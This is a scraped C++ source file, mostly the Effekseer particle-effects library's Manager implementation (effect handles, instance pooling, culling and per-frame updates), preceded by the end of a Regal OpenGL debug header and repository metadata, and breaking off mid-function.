clientActiveTextureIndex( 0 ) , activeTextureIndex( 0 ) { } void Init( RegalContext * ctx ) { UNUSED_PARAMETER(ctx); matrixMode = RGL_MODELVIEW; } void MatrixMode( RegalContext * ctx, GLenum mode ) { UNUSED_PARAMETER(ctx); matrixMode = static_cast<Enum>(mode); } void ClientActiveTexture( RegalContext * ctx, GLenum texture ) { UNUSED_PARAMETER(ctx); clientActiveTextureIndex = texture - GL_TEXTURE0; } void ActiveTexture( RegalContext * ctx, GLenum texture ) { UNUSED_PARAMETER(ctx); activeTextureIndex = texture - GL_TEXTURE0; } }; REGAL_NAMESPACE_END #endif // ! __REGAL_DEBUG_H__
[ "nigels@users.sourceforge.net" ]
nigels@users.sourceforge.net
239133926860e8b0b920f597566db96dd56b6469
3da7e3237af354d9e51c0f7dcdde2b8ad976617a
/3rdparty/Effekseer/Effekseer/Effekseer/Effekseer.Manager.cpp
8f8be5e28233791f7fc1da8a36d00ebde293d4b9
[]
no_license
9MW/effekseerDE
072a4ba4a467cd62b75db93be44691f6c2851250
62bc6f80ba3f977d7dc5408fcfca09747383df27
refs/heads/master
2023-01-07T13:36:02.867639
2020-11-17T06:42:16
2020-11-17T06:42:16
313,511,440
0
0
null
null
null
null
UTF-8
C++
false
false
46,380
cpp
 #include "Effekseer.Effect.h" #include "Effekseer.EffectImplemented.h" #include "SIMD/Effekseer.SIMDUtils.h" #include "Effekseer.EffectNode.h" #include "Effekseer.Instance.h" #include "Effekseer.InstanceChunk.h" #include "Effekseer.InstanceContainer.h" #include "Effekseer.InstanceGlobal.h" #include "Effekseer.InstanceGroup.h" #include "Effekseer.Manager.h" #include "Effekseer.ManagerImplemented.h" #include "Effekseer.DefaultEffectLoader.h" #include "Effekseer.TextureLoader.h" #include "Effekseer.Setting.h" #include "Renderer/Effekseer.ModelRenderer.h" #include "Renderer/Effekseer.RibbonRenderer.h" #include "Renderer/Effekseer.RingRenderer.h" #include "Renderer/Effekseer.SpriteRenderer.h" #include "Renderer/Effekseer.TrackRenderer.h" #include "Effekseer.SoundLoader.h" #include "Sound/Effekseer.SoundPlayer.h" #include "Effekseer.ModelLoader.h" #include <algorithm> #include <iostream> namespace Effekseer { static int64_t GetTime(void) { return std::chrono::duration_cast<std::chrono::microseconds>(std::chrono::steady_clock::now().time_since_epoch()).count(); } Manager::DrawParameter::DrawParameter() { CameraCullingMask = 1; } Manager* Manager::Create(int instance_max, bool autoFlip) { return new ManagerImplemented(instance_max, autoFlip); } Mat43f* ManagerImplemented::DrawSet::GetEnabledGlobalMatrix() { if (IsPreupdated) { InstanceContainer* pContainer = InstanceContainerPointer; if (pContainer == nullptr) return nullptr; auto firstGroup = pContainer->GetFirstGroup(); if (firstGroup == nullptr) return nullptr; Instance* pInstance = pContainer->GetFirstGroup()->GetFirst(); if (pInstance == nullptr) return nullptr; return &(pInstance->m_GlobalMatrix43); } else { return &(GlobalMatrix); } } void ManagerImplemented::DrawSet::CopyMatrixFromInstanceToRoot() { if (IsPreupdated) { InstanceContainer* pContainer = InstanceContainerPointer; if (pContainer == nullptr) return; auto firstGroup = pContainer->GetFirstGroup(); if (firstGroup == nullptr) return; Instance* pInstance = pContainer->GetFirstGroup()->GetFirst(); if (pInstance == nullptr) return; GlobalMatrix = pInstance->m_GlobalMatrix43; } } Handle ManagerImplemented::AddDrawSet(Effect* effect, InstanceContainer* pInstanceContainer, InstanceGlobal* pGlobalPointer) { Handle Temp = m_NextHandle; // avoid an overflow if (m_NextHandle > std::numeric_limits<int32_t>::max() - 1) { m_NextHandle = 0; } m_NextHandle++; DrawSet drawset(effect, pInstanceContainer, pGlobalPointer); drawset.Self = Temp; ES_SAFE_ADDREF(effect); m_DrawSets[Temp] = drawset; return Temp; } void ManagerImplemented::StopStoppingEffects() { for (auto& draw_set_it : m_DrawSets) { DrawSet& draw_set = draw_set_it.second; if (draw_set.IsRemoving) continue; if (draw_set.GoingToStop) continue; bool isRemoving = false; // Empty if (!isRemoving && draw_set.GlobalPointer->GetInstanceCount() == 0) { isRemoving = true; } // Root only exists and none plan to create new instances if (!isRemoving && draw_set.GlobalPointer->GetInstanceCount() == 1) { InstanceContainer* pRootContainer = draw_set.InstanceContainerPointer; InstanceGroup* group = pRootContainer != nullptr ? pRootContainer->GetFirstGroup() : nullptr; if (group) { Instance* pRootInstance = group->GetFirst(); if (pRootInstance && pRootInstance->GetState() == INSTANCE_STATE_ACTIVE) { int maxcreate_count = 0; bool canRemoved = true; for (int i = 0; i < pRootInstance->m_pEffectNode->GetChildrenCount(); i++) { auto child = (EffectNodeImplemented*)pRootInstance->m_pEffectNode->GetChild(i); if (pRootInstance->maxGenerationChildrenCount[i] > pRootInstance->m_generatedChildrenCount[i]) { canRemoved = false; break; } } if (canRemoved) { // when a sound is not playing. if (!GetSoundPlayer() || !GetSoundPlayer()->CheckPlayingTag(draw_set.GlobalPointer)) { isRemoving = true; } } } } } if (isRemoving) { StopEffect(draw_set_it.first); } } } void ManagerImplemented::GCDrawSet(bool isRemovingManager) { // dispose instance groups { auto it = m_RemovingDrawSets[1].begin(); while (it != m_RemovingDrawSets[1].end()) { // HACK for UpdateHandle if (it->second.UpdateCountAfterRemoving < 2) { UpdateInstancesByInstanceGlobal(it->second); UpdateHandleInternal(it->second); it->second.UpdateCountAfterRemoving++; } DrawSet& drawset = (*it).second; // dispose all instances if (drawset.InstanceContainerPointer != nullptr) { drawset.InstanceContainerPointer->RemoveForcibly(true); ReleaseInstanceContainer(drawset.InstanceContainerPointer); } ES_SAFE_RELEASE(drawset.ParameterPointer); ES_SAFE_DELETE(drawset.GlobalPointer); if (m_cullingWorld != NULL && drawset.CullingObjectPointer != nullptr) { m_cullingWorld->RemoveObject(drawset.CullingObjectPointer); Culling3D::SafeRelease(drawset.CullingObjectPointer); } m_RemovingDrawSets[1].erase(it++); } m_RemovingDrawSets[1].clear(); } // wait next frame to be removed { auto it = m_RemovingDrawSets[0].begin(); while (it != m_RemovingDrawSets[0].end()) { // HACK for UpdateHandle if (it->second.UpdateCountAfterRemoving < 1) { UpdateInstancesByInstanceGlobal(it->second); UpdateHandleInternal(it->second); it->second.UpdateCountAfterRemoving++; } m_RemovingDrawSets[1][(*it).first] = (*it).second; m_RemovingDrawSets[0].erase(it++); } m_RemovingDrawSets[0].clear(); } { auto it = m_DrawSets.begin(); while (it != m_DrawSets.end()) { DrawSet& draw_set = (*it).second; if (draw_set.IsRemoving) { if ((*it).second.RemovingCallback != NULL) { (*it).second.RemovingCallback(this, (*it).first, isRemovingManager); } m_RemovingDrawSets[0][(*it).first] = (*it).second; m_DrawSets.erase(it++); } else { ++it; } } } } InstanceContainer* ManagerImplemented::CreateInstanceContainer( EffectNode* pEffectNode, InstanceGlobal* pGlobal, bool isRoot, const Mat43f& rootMatrix, Instance* pParent) { if (pooledContainers_.empty()) { return nullptr; } InstanceContainer* memory = pooledContainers_.front(); pooledContainers_.pop(); InstanceContainer* pContainer = new (memory) InstanceContainer(this, pEffectNode, pGlobal); for (int i = 0; i < pEffectNode->GetChildrenCount(); i++) { auto child = CreateInstanceContainer(pEffectNode->GetChild(i), pGlobal, false, Matrix43(), nullptr); if (child == nullptr) { ReleaseInstanceContainer(pContainer); return nullptr; } pContainer->AddChild(child); } if (isRoot) { auto group = pContainer->CreateInstanceGroup(); if (group == nullptr) { ReleaseInstanceContainer(pContainer); return nullptr; } auto instance = group->CreateInstance(); if (instance == nullptr) { group->IsReferencedFromInstance = false; pContainer->RemoveInvalidGroups(); ReleaseInstanceContainer(pContainer); return nullptr; } pGlobal->SetRootContainer(pContainer); instance->Initialize(nullptr, 0, 0, rootMatrix); // This group is not generated by an instance, so changed a flag group->IsReferencedFromInstance = false; } return pContainer; } void ManagerImplemented::ReleaseInstanceContainer(InstanceContainer* container) { container->~InstanceContainer(); pooledContainers_.push(container); } void* EFK_STDCALL ManagerImplemented::Malloc(unsigned int size) { return (void*)new char*[size]; } void EFK_STDCALL ManagerImplemented::Free(void* p, unsigned int size) { char* pData = (char*)p; delete[] pData; } int EFK_STDCALL ManagerImplemented::Rand() { return rand(); } void ManagerImplemented::ExecuteEvents() { for (auto& ds : m_DrawSets) { if (ds.second.GoingToStop) { InstanceContainer* pContainer = ds.second.InstanceContainerPointer; if (pContainer != nullptr) { pContainer->KillAllInstances(true); } ds.second.IsRemoving = true; if (GetSoundPlayer() != NULL) { GetSoundPlayer()->StopTag(ds.second.GlobalPointer); } } if (ds.second.GoingToStopRoot) { InstanceContainer* pContainer = ds.second.InstanceContainerPointer; if (pContainer != nullptr) { pContainer->KillAllInstances(false); } } } } ManagerImplemented::ManagerImplemented(int instance_max, bool autoFlip) : m_autoFlip(autoFlip) , m_NextHandle(0) , m_instance_max(instance_max) , m_setting(NULL) , m_sequenceNumber(0) , m_cullingWorld(NULL) , m_culled(false) , m_spriteRenderer(NULL) , m_ribbonRenderer(NULL) , m_ringRenderer(NULL) , m_modelRenderer(NULL) , m_trackRenderer(NULL) , m_soundPlayer(NULL) , m_MallocFunc(NULL) , m_FreeFunc(NULL) , m_randFunc(NULL) , m_randMax(0) { m_setting = Setting::Create(); SetMallocFunc(Malloc); SetFreeFunc(Free); SetRandFunc(Rand); SetRandMax(RAND_MAX); m_renderingDrawSets.reserve(64); int chunk_max = (m_instance_max + InstanceChunk::InstancesOfChunk - 1) / InstanceChunk::InstancesOfChunk; reservedChunksBuffer_.resize(chunk_max); for (auto& chunk : reservedChunksBuffer_) { pooledChunks_.push(&chunk); } for (auto& chunks : instanceChunks_) { chunks.reserve(chunk_max); } std::fill(creatableChunkOffsets_.begin(), creatableChunkOffsets_.end(), 0); // Pooling InstanceGroup reservedGroupBuffer_.resize(instance_max * sizeof(InstanceGroup)); for (int i = 0; i < instance_max; i++) { pooledGroups_.push((InstanceGroup*)&reservedGroupBuffer_[i * sizeof(InstanceGroup)]); } // Pooling InstanceGroup reservedContainerBuffer_.resize(instance_max * sizeof(InstanceContainer)); for (int i = 0; i < instance_max; i++) { pooledContainers_.push((InstanceContainer*)&reservedContainerBuffer_[i * sizeof(InstanceContainer)]); } m_setting->SetEffectLoader(new DefaultEffectLoader()); EffekseerPrintDebug("*** Create : Manager\n"); } ManagerImplemented::~ManagerImplemented() { StopAllEffects(); ExecuteEvents(); for (int i = 0; i < 5; i++) { GCDrawSet(true); } // assert( m_reserved_instances.size() == m_instance_max ); // ES_SAFE_DELETE_ARRAY( m_reserved_instances_buffer ); Culling3D::SafeRelease(m_cullingWorld); ES_SAFE_DELETE(m_spriteRenderer); ES_SAFE_DELETE(m_ribbonRenderer); ES_SAFE_DELETE(m_modelRenderer); ES_SAFE_DELETE(m_trackRenderer); ES_SAFE_DELETE(m_ringRenderer); ES_SAFE_DELETE(m_soundPlayer); ES_SAFE_RELEASE(m_setting); } Instance* ManagerImplemented::CreateInstance(EffectNode* pEffectNode, InstanceContainer* pContainer, InstanceGroup* pGroup) { int32_t generationNumber = pEffectNode->GetGeneration(); assert(generationNumber < GenerationsMax); auto& chunks = instanceChunks_[generationNumber]; int32_t offset = creatableChunkOffsets_[generationNumber]; auto it = std::find_if(chunks.begin() + offset, chunks.end(), [](const InstanceChunk* chunk) { return chunk->IsInstanceCreatable(); }); creatableChunkOffsets_[generationNumber] = (int32_t)std::distance(chunks.begin(), it); if (it != chunks.end()) { auto chunk = *it; return chunk->CreateInstance(this, pEffectNode, pContainer, pGroup); } if (!pooledChunks_.empty()) { auto chunk = pooledChunks_.front(); pooledChunks_.pop(); chunks.push_back(chunk); return chunk->CreateInstance(this, pEffectNode, pContainer, pGroup); } return nullptr; } InstanceGroup* ManagerImplemented::CreateInstanceGroup(EffectNode* pEffectNode, InstanceContainer* pContainer, InstanceGlobal* pGlobal) { if (pooledGroups_.empty()) { return nullptr; } InstanceGroup* memory = pooledGroups_.front(); pooledGroups_.pop(); return new (memory) InstanceGroup(this, pEffectNode, pContainer, pGlobal); } void ManagerImplemented::ReleaseGroup(InstanceGroup* group) { group->~InstanceGroup(); pooledGroups_.push(group); } void ManagerImplemented::Destroy() { StopAllEffects(); ExecuteEvents(); for (int i = 0; i < 5; i++) { GCDrawSet(true); } Release(); } uint32_t ManagerImplemented::GetSequenceNumber() const { return m_sequenceNumber; } MallocFunc ManagerImplemented::GetMallocFunc() const { return m_MallocFunc; } void ManagerImplemented::SetMallocFunc(MallocFunc func) { m_MallocFunc = func; } FreeFunc ManagerImplemented::GetFreeFunc() const { return m_FreeFunc; } void ManagerImplemented::SetFreeFunc(FreeFunc func) { m_FreeFunc = func; } RandFunc ManagerImplemented::GetRandFunc() const { return m_randFunc; } void ManagerImplemented::SetRandFunc(RandFunc func) { m_randFunc = func; } int ManagerImplemented::GetRandMax() const { return m_randMax; } void ManagerImplemented::SetRandMax(int max_) { m_randMax = max_; } CoordinateSystem ManagerImplemented::GetCoordinateSystem() const { return m_setting->GetCoordinateSystem(); } void ManagerImplemented::SetCoordinateSystem(CoordinateSystem coordinateSystem) { m_setting->SetCoordinateSystem(coordinateSystem); } SpriteRenderer* ManagerImplemented::GetSpriteRenderer() { return m_spriteRenderer; } void ManagerImplemented::SetSpriteRenderer(SpriteRenderer* renderer) { ES_SAFE_DELETE(m_spriteRenderer); m_spriteRenderer = renderer; } RibbonRenderer* ManagerImplemented::GetRibbonRenderer() { return m_ribbonRenderer; } void ManagerImplemented::SetRibbonRenderer(RibbonRenderer* renderer) { ES_SAFE_DELETE(m_ribbonRenderer); m_ribbonRenderer = renderer; } RingRenderer* ManagerImplemented::GetRingRenderer() { return m_ringRenderer; } void ManagerImplemented::SetRingRenderer(RingRenderer* renderer) { ES_SAFE_DELETE(m_ringRenderer); m_ringRenderer = renderer; } ModelRenderer* ManagerImplemented::GetModelRenderer() { return m_modelRenderer; } void ManagerImplemented::SetModelRenderer(ModelRenderer* renderer) { ES_SAFE_DELETE(m_modelRenderer); m_modelRenderer = renderer; } TrackRenderer* ManagerImplemented::GetTrackRenderer() { return m_trackRenderer; } void ManagerImplemented::SetTrackRenderer(TrackRenderer* renderer) { ES_SAFE_DELETE(m_trackRenderer); m_trackRenderer = renderer; } SoundPlayer* ManagerImplemented::GetSoundPlayer() { return m_soundPlayer; } void ManagerImplemented::SetSoundPlayer(SoundPlayer* soundPlayer) { ES_SAFE_DELETE(m_soundPlayer); m_soundPlayer = soundPlayer; } Setting* ManagerImplemented::GetSetting() { return m_setting; } void ManagerImplemented::SetSetting(Setting* setting) { ES_SAFE_RELEASE(m_setting); m_setting = setting; ES_SAFE_ADDREF(m_setting); } EffectLoader* ManagerImplemented::GetEffectLoader() { return m_setting->GetEffectLoader(); } void ManagerImplemented::SetEffectLoader(EffectLoader* effectLoader) { m_setting->SetEffectLoader(effectLoader); } TextureLoader* ManagerImplemented::GetTextureLoader() { return m_setting->GetTextureLoader(); } void ManagerImplemented::SetTextureLoader(TextureLoader* textureLoader) { m_setting->SetTextureLoader(textureLoader); } SoundLoader* ManagerImplemented::GetSoundLoader() { return m_setting->GetSoundLoader(); } void ManagerImplemented::SetSoundLoader(SoundLoader* soundLoader) { m_setting->SetSoundLoader(soundLoader); } ModelLoader* ManagerImplemented::GetModelLoader() { return m_setting->GetModelLoader(); } void ManagerImplemented::SetModelLoader(ModelLoader* modelLoader) { m_setting->SetModelLoader(modelLoader); } MaterialLoader* ManagerImplemented::GetMaterialLoader() { return m_setting->GetMaterialLoader(); } void ManagerImplemented::SetMaterialLoader(MaterialLoader* loader) { m_setting->SetMaterialLoader(loader); } void ManagerImplemented::StopEffect(Handle handle) { if (m_DrawSets.count(handle) > 0) { DrawSet& drawSet = m_DrawSets[handle]; drawSet.GoingToStop = true; drawSet.IsRemoving = true; } } void ManagerImplemented::StopAllEffects() { for (auto& it : m_DrawSets) { it.second.GoingToStop = true; it.second.IsRemoving = true; } } void ManagerImplemented::StopRoot(Handle handle) { if (m_DrawSets.count(handle) > 0) { m_DrawSets[handle].GoingToStopRoot = true; } } void ManagerImplemented::StopRoot(Effect* effect) { for (auto& it : m_DrawSets) { if (it.second.ParameterPointer == effect) { it.second.GoingToStopRoot = true; } } } bool ManagerImplemented::Exists(Handle handle) { if (m_DrawSets.count(handle) > 0) { // always exists before update if (!m_DrawSets[handle].IsPreupdated) return true; if (m_DrawSets[handle].IsRemoving) return false; return true; } return false; } int32_t ManagerImplemented::GetInstanceCount(Handle handle) { if (m_DrawSets.count(handle) > 0) { return m_DrawSets[handle].GlobalPointer->GetInstanceCount(); } return 0; } int32_t ManagerImplemented::GetTotalInstanceCount() const { int32_t instanceCount = 0; for (auto pair : m_DrawSets) { const DrawSet& drawSet = pair.second; instanceCount += drawSet.GlobalPointer->GetInstanceCount(); } return instanceCount; } Matrix43 ManagerImplemented::GetMatrix(Handle handle) { if (m_DrawSets.count(handle) > 0) { DrawSet& drawSet = m_DrawSets[handle]; auto mat = drawSet.GetEnabledGlobalMatrix(); if (mat != nullptr) { return ToStruct(*mat); } } return Matrix43(); } void ManagerImplemented::SetMatrix(Handle handle, const Matrix43& mat) { if (m_DrawSets.count(handle) > 0) { DrawSet& drawSet = m_DrawSets[handle]; auto mat_ = drawSet.GetEnabledGlobalMatrix(); if (mat_ != nullptr) { (*mat_) = mat; drawSet.CopyMatrixFromInstanceToRoot(); drawSet.IsParameterChanged = true; } } } Vector3D ManagerImplemented::GetLocation(Handle handle) { Vector3D location; if (m_DrawSets.count(handle) > 0) { DrawSet& drawSet = m_DrawSets[handle]; auto mat_ = drawSet.GetEnabledGlobalMatrix(); if (mat_ != nullptr) { location.X = mat_->X.GetW(); location.Y = mat_->Y.GetW(); location.Z = mat_->Z.GetW(); } } return location; } void ManagerImplemented::SetLocation(Handle handle, float x, float y, float z) { if (m_DrawSets.count(handle) > 0) { DrawSet& drawSet = m_DrawSets[handle]; auto mat_ = drawSet.GetEnabledGlobalMatrix(); if (mat_ != nullptr) { mat_->X.SetW(x); mat_->Y.SetW(y); mat_->Z.SetW(z); drawSet.CopyMatrixFromInstanceToRoot(); drawSet.IsParameterChanged = true; } } } void ManagerImplemented::SetLocation(Handle handle, const Vector3D& location) { SetLocation(handle, location.X, location.Y, location.Z); } void ManagerImplemented::AddLocation(Handle handle, const Vector3D& location) { if (m_DrawSets.count(handle) > 0) { DrawSet& drawSet = m_DrawSets[handle]; auto mat_ = drawSet.GetEnabledGlobalMatrix(); if (mat_ != nullptr) { mat_->X.SetW(mat_->X.GetW() + location.X); mat_->Y.SetW(mat_->Y.GetW() + location.Y); mat_->Z.SetW(mat_->Z.GetW() + location.Z); drawSet.CopyMatrixFromInstanceToRoot(); drawSet.IsParameterChanged = true; } } } void ManagerImplemented::SetRotation(Handle handle, float x, float y, float z) { if (m_DrawSets.count(handle) > 0) { DrawSet& drawSet = m_DrawSets[handle]; auto mat_ = drawSet.GetEnabledGlobalMatrix(); if (mat_ != nullptr) { Mat43f r; Vec3f s, t; mat_->GetSRT(s, r, t); r = Mat43f::RotationZXY(z, x, y); *mat_ = Mat43f::SRT(s, r, t); drawSet.CopyMatrixFromInstanceToRoot(); drawSet.IsParameterChanged = true; } } } void ManagerImplemented::SetRotation(Handle handle, const Vector3D& axis, float angle) { if (m_DrawSets.count(handle) > 0) { DrawSet& drawSet = m_DrawSets[handle]; auto mat_ = drawSet.GetEnabledGlobalMatrix(); if (mat_ != nullptr) { Mat43f r; Vec3f s, t; mat_->GetSRT(s, r, t); r = Mat43f::RotationAxis(axis, angle); *mat_ = Mat43f::SRT(s, r, t); drawSet.CopyMatrixFromInstanceToRoot(); drawSet.IsParameterChanged = true; } } } void ManagerImplemented::SetScale(Handle handle, float x, float y, float z) { if (m_DrawSets.count(handle) > 0) { DrawSet& drawSet = m_DrawSets[handle]; auto mat_ = drawSet.GetEnabledGlobalMatrix(); if (mat_ != nullptr) { Mat43f r; Vec3f s, t; mat_->GetSRT(s, r, t); s = Vec3f(x, y, z); *mat_ = Mat43f::SRT(s, r, t); drawSet.CopyMatrixFromInstanceToRoot(); drawSet.IsParameterChanged = true; } } } void ManagerImplemented::SetAllColor(Handle handle, Color color) { if (m_DrawSets.count(handle) > 0) { auto& drawSet = m_DrawSets[handle]; drawSet.GlobalPointer->IsGlobalColorSet = true; drawSet.GlobalPointer->GlobalColor = color; } } void ManagerImplemented::SetTargetLocation(Handle handle, float x, float y, float z) { SetTargetLocation(handle, Vector3D(x, y, z)); } void ManagerImplemented::SetTargetLocation(Handle handle, const Vector3D& location) { if (m_DrawSets.count(handle) > 0) { DrawSet& drawSet = m_DrawSets[handle]; InstanceGlobal* instanceGlobal = drawSet.GlobalPointer; instanceGlobal->SetTargetLocation(location); drawSet.IsParameterChanged = true; } } float ManagerImplemented::GetDynamicInput(Handle handle, int32_t index) { auto it = m_DrawSets.find(handle); if (it != m_DrawSets.end()) { auto globalPtr = it->second.GlobalPointer; if (index < 0 || globalPtr->dynamicInputParameters.size() <= index) return 0.0f; return globalPtr->dynamicInputParameters[index]; } return 0.0f; } void ManagerImplemented::SetDynamicInput(Handle handle, int32_t index, float value) { if (m_DrawSets.count(handle) > 0) { DrawSet& drawSet = m_DrawSets[handle]; InstanceGlobal* instanceGlobal = drawSet.GlobalPointer; if (index < 0 || instanceGlobal->dynamicInputParameters.size() <= index) return; instanceGlobal->dynamicInputParameters[index] = value; drawSet.IsParameterChanged = true; } } Matrix43 ManagerImplemented::GetBaseMatrix(Handle handle) { if (m_DrawSets.count(handle) > 0) { return ToStruct(m_DrawSets[handle].BaseMatrix); } return Matrix43(); } void ManagerImplemented::SetBaseMatrix(Handle handle, const Matrix43& mat) { if (m_DrawSets.count(handle) > 0) { m_DrawSets[handle].BaseMatrix = mat; m_DrawSets[handle].DoUseBaseMatrix = true; m_DrawSets[handle].IsParameterChanged = true; } } void ManagerImplemented::SetRemovingCallback(Handle handle, EffectInstanceRemovingCallback callback) { if (m_DrawSets.count(handle) > 0) { m_DrawSets[handle].RemovingCallback = callback; } } bool ManagerImplemented::GetShown(Handle handle) { if (m_DrawSets.count(handle) > 0) { return m_DrawSets[handle].IsShown; } return false; } void ManagerImplemented::SetShown(Handle handle, bool shown) { if (m_DrawSets.count(handle) > 0) { m_DrawSets[handle].IsShown = shown; } } bool ManagerImplemented::GetPaused(Handle handle) { if (m_DrawSets.count(handle) > 0) { return m_DrawSets[handle].IsPaused; } return false; } void ManagerImplemented::SetPaused(Handle handle, bool paused) { if (m_DrawSets.count(handle) > 0) { m_DrawSets[handle].IsPaused = paused; } } void ManagerImplemented::SetPausedToAllEffects(bool paused) { std::map<Handle, DrawSet>::iterator it = m_DrawSets.begin(); while (it != m_DrawSets.end()) { (*it).second.IsPaused = paused; ++it; } } int ManagerImplemented::GetLayer(Handle handle) { if (m_DrawSets.count(handle) > 0) { return m_DrawSets[handle].Layer; } return 0; } void ManagerImplemented::SetLayer(Handle handle, int32_t layer) { if (m_DrawSets.count(handle) > 0) { m_DrawSets[handle].Layer = layer; } } float ManagerImplemented::GetSpeed(Handle handle) const { auto it = m_DrawSets.find(handle); if (it == m_DrawSets.end()) return 0.0f; return it->second.Speed; } void ManagerImplemented::SetSpeed(Handle handle, float speed) { if (m_DrawSets.count(handle) > 0) { m_DrawSets[handle].Speed = speed; m_DrawSets[handle].IsParameterChanged = true; } } void ManagerImplemented::SetAutoDrawing(Handle handle, bool autoDraw) { if (m_DrawSets.count(handle) > 0) { m_DrawSets[handle].IsAutoDrawing = autoDraw; } } void ManagerImplemented::Flip() { if (!m_autoFlip) { m_renderingMutex.lock(); } // execute preupdate for (auto& drawSet : m_DrawSets) { Preupdate(drawSet.second); } StopStoppingEffects(); ExecuteEvents(); GCDrawSet(false); m_renderingDrawSets.clear(); m_renderingDrawSetMaps.clear(); // Generate culling if (cullingNext.SizeX != cullingCurrent.SizeX || cullingNext.SizeY != cullingCurrent.SizeY || cullingNext.SizeZ != cullingCurrent.SizeZ || cullingNext.LayerCount != cullingCurrent.LayerCount) { Culling3D::SafeRelease(m_cullingWorld); for (auto& it : m_DrawSets) { DrawSet& ds = it.second; Culling3D::SafeRelease(ds.CullingObjectPointer); } m_cullingWorld = Culling3D::World::Create(cullingNext.SizeX, cullingNext.SizeY, cullingNext.SizeZ, cullingNext.LayerCount); cullingCurrent = cullingNext; } { for (auto& it : m_DrawSets) { DrawSet& ds = it.second; EffectImplemented* effect = (EffectImplemented*)ds.ParameterPointer; if (ds.InstanceContainerPointer == nullptr) { continue; } if (ds.IsParameterChanged) { if (m_cullingWorld != NULL) { auto isCreated = false; if (ds.CullingObjectPointer == NULL) { ds.CullingObjectPointer = Culling3D::Object::Create(); if (effect->Culling.Shape == CullingShape::Sphere) { ds.CullingObjectPointer->ChangeIntoSphere(0.0f); } if (effect->Culling.Shape == CullingShape::NoneShape) { ds.CullingObjectPointer->ChangeIntoAll(); } isCreated = true; } InstanceContainer* pContainer = ds.InstanceContainerPointer; Instance* pInstance = pContainer->GetFirstGroup()->GetFirst(); Vector3D location; auto mat_ = ds.GetEnabledGlobalMatrix(); if (mat_ != nullptr) { location.X = mat_->X.GetW(); location.Y = mat_->Y.GetW(); location.Z = mat_->Z.GetW(); } ds.CullingObjectPointer->SetPosition(Culling3D::Vector3DF(location.X, location.Y, location.Z)); if (effect->Culling.Shape == CullingShape::Sphere) { float radius = effect->Culling.Sphere.Radius; { Vec3f s = pInstance->GetGlobalMatrix43().GetScale(); radius *= s.GetLength(); } if (ds.DoUseBaseMatrix) { Vec3f s = ds.BaseMatrix.GetScale(); radius *= s.GetLength(); } ds.CullingObjectPointer->ChangeIntoSphere(radius); } if (isCreated) { m_cullingWorld->AddObject(ds.CullingObjectPointer); } } ds.IsParameterChanged = false; } m_renderingDrawSets.push_back(ds); m_renderingDrawSetMaps[it.first] = it.second; } if (m_cullingWorld != NULL) { for (size_t i = 0; i < m_renderingDrawSets.size(); i++) { m_renderingDrawSets[i].CullingObjectPointer->SetUserData(&(m_renderingDrawSets[i])); } } } m_culledObjects.clear(); m_culledObjectSets.clear(); m_culled = false; if (!m_autoFlip) { m_renderingMutex.unlock(); } } void ManagerImplemented::Update(float deltaFrame) { // start to measure time int64_t beginTime = ::Effekseer::GetTime(); // Hack for GC for (size_t i = 0; i < m_RemovingDrawSets.size(); i++) { for (auto& ds : m_RemovingDrawSets[i]) { ds.second.UpdateCountAfterRemoving++; } } BeginUpdate(); for (auto& drawSet : m_DrawSets) { float df = drawSet.second.IsPaused ? 0 : deltaFrame * drawSet.second.Speed; drawSet.second.GlobalPointer->BeginDeltaFrame(df); } for (auto& chunks : instanceChunks_) { for (auto chunk : chunks) { chunk->UpdateInstances(); } } for (auto& drawSet : m_DrawSets) { UpdateHandleInternal(drawSet.second); } EndUpdate(); // end to measure time m_updateTime = (int)(Effekseer::GetTime() - beginTime); } void ManagerImplemented::BeginUpdate() { m_renderingMutex.lock(); m_isLockedWithRenderingMutex = true; if (m_autoFlip) { Flip(); } m_sequenceNumber++; } void ManagerImplemented::EndUpdate() { for (auto& chunks : instanceChunks_) { auto first = chunks.begin(); auto last = chunks.end(); while (first != last) { auto it = std::find_if(first, last, [](const InstanceChunk* chunk) { return chunk->GetAliveCount() == 0; }); if (it != last) { pooledChunks_.push(*it); if (it != last - 1) *it = *(last - 1); last--; } first = it; } chunks.erase(last, chunks.end()); } std::fill(creatableChunkOffsets_.begin(), creatableChunkOffsets_.end(), 0); m_renderingMutex.unlock(); m_isLockedWithRenderingMutex = false; } void ManagerImplemented::UpdateHandle(Handle handle, float deltaFrame) { { auto it = m_DrawSets.find(handle); if (it != m_DrawSets.end()) { DrawSet& drawSet = it->second; { float df = drawSet.IsPaused ? 0 : deltaFrame * drawSet.Speed; drawSet.GlobalPointer->BeginDeltaFrame(df); } UpdateInstancesByInstanceGlobal(drawSet); UpdateHandleInternal(drawSet); } } } void ManagerImplemented::UpdateInstancesByInstanceGlobal(const DrawSet& drawSet) { for (auto& chunks : instanceChunks_) { for (auto chunk : chunks) { chunk->UpdateInstancesByInstanceGlobal(drawSet.GlobalPointer); } } } void ManagerImplemented::UpdateHandleInternal(DrawSet& drawSet) { // calculate dynamic parameters auto e = static_cast<EffectImplemented*>(drawSet.ParameterPointer); assert(e != nullptr); assert(drawSet.GlobalPointer->dynamicEqResults.size() >= e->dynamicEquation.size()); std::array<float, 1> globals; globals[0] = drawSet.GlobalPointer->GetUpdatedFrame() / 60.0f; for (size_t i = 0; i < e->dynamicEquation.size(); i++) { if (e->dynamicEquation[i].GetRunningPhase() != InternalScript::RunningPhaseType::Global) continue; drawSet.GlobalPointer->dynamicEqResults[i] = e->dynamicEquation[i].Execute(drawSet.GlobalPointer->dynamicInputParameters, globals, std::array<float, 5>(), InstanceGlobal::Rand, InstanceGlobal::RandSeed, drawSet.GlobalPointer); } Preupdate(drawSet); if (drawSet.InstanceContainerPointer != nullptr) { drawSet.InstanceContainerPointer->Update(true, drawSet.IsShown); if (drawSet.DoUseBaseMatrix) { drawSet.InstanceContainerPointer->SetBaseMatrix(true, drawSet.BaseMatrix); } } drawSet.GlobalPointer->EndDeltaFrame(); } void ManagerImplemented::Preupdate(DrawSet& drawSet) { if (drawSet.IsPreupdated) return; // Create an instance through a container InstanceContainer* pContainer = CreateInstanceContainer(drawSet.ParameterPointer->GetRoot(), drawSet.GlobalPointer, true, drawSet.GlobalMatrix, NULL); drawSet.InstanceContainerPointer = pContainer; drawSet.IsPreupdated = true; if (drawSet.InstanceContainerPointer == nullptr) { drawSet.IsRemoving = true; return; } for (int32_t frame = 0; frame < drawSet.StartFrame; frame++) { drawSet.GlobalPointer->BeginDeltaFrame(1.0f); UpdateInstancesByInstanceGlobal(drawSet); UpdateHandleInternal(drawSet); } } bool ManagerImplemented::IsClippedWithDepth(DrawSet& drawSet, InstanceContainer* container, const Manager::DrawParameter& drawParameter) { // don't use this parameter if 